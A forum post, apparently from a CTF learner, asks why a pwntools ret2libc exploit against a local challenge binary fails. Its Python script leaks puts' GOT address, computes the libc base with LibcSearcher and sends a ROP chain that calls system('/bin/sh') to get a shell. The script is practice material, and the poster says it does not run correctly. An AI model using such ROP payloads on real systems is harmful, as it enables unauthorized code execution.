题目:https://fbxy.lanzoum.com/i3zCP0z3tw1g
思路:根据输入泄露出puts的got地址,随后用libcsercher计算libc的基地址,最后找到system函数和/bib/sh字符串的地址,最后通过构造rop链去执行system(''/bin/sh),exp如下:
[Python] 纯文本查看 复制代码 from pwn import *
from LibcSearcher import *
context(arch="amd64", os="linux" , log_level ="debug" )
p = process("./ret2libc")
e = ELF("./ret2libc")
puts_got_addr = e.got["puts"]
p.sendlineafter("Give me the address in hex: ",hex(puts_got_addr))
p.recvuntil("\nContent: ")
puts_real_addr = int(p.recvuntil("\n")[:-1])
print(hex(int(puts_real_addr)))
libc = LibcSearcher('puts',puts_real_addr)
libc_base = puts_real_addr-libc.dump('puts')
system_addr = libc.dump("system")+libc_base
bin_sh_addr = libc.dump('str_bin_sh')+libc_base
offset = 0x38
pop_rdi = 0x00000000004007d3 # pop rdi ; ret
paylload = offset*b'a'
paylload += p64(pop_rdi)+p64(bin_sh_addr)+p64(system_addr)
p.sendlineafter("Give me your messege: ",paylload)
p.interactive()
但是运行exp失败了,各位师傅瞅瞅是那个地方有问题吗?
|